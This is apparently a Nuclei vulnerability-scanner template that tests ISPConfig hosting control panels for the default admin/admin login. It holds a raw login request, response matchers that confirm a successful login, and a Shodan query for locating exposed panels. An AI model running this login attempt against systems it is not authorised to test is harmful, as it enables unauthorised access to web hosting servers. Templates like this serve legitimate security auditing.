id: ispconfig-hcp-default-login

info:
  name: ISPConfig Hosting Control Panel - Default Login
  author: ritikchaddha
  severity: high
  description: |
    ISPConfig Hosting Control Panel Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security.
  classification:
    cpe: cpe:2.3:a:ispconfig:ispconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ispconfig
    product: ispconfig
    shodan-query: title:"ISPConfig" http.favicon.hash:483383992
  tags: ispconfig,hsp,default-login

http:
  - raw:
      - |
        POST /content.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&passwort={{password}}&s_mod=login&s_pg=index

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'LOGIN_REDIRECT:dashboard/dashboard.php'

      - type: word
        part: header
        words:
          - 'Set-Cookie'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207bbc362660cc641a2cee48a8cd42d014e07d80bea28bb4d80c0fc5d9a97d09b702210086aeee7c7efb8d000e26e8146df3e6855751085ce62caa7e5e181dd477936ee8:922c64590222798bb761d5b6d8e72950